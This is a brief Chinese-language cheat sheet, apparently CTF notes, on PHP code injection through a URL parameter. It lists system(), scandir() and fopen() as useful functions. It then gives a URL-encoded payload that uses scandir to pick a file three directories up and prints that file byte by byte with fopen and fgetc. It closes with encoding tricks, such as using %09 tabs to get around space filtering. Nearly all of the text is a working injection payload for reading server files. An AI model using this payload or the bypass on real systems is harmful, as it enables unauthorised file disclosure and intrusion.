PHP

常用函数：
system();
scandir();
fopen("","");

url代码执行payload

/?url=
$g=scandir(%22../../../%22)[7];
$f=fopen(%22../../../$g%22,%22r%22);
while(!feof($f))
{
 echo%20 fgetc($f);
}//

%20
%22 "
%09 tab空格绕过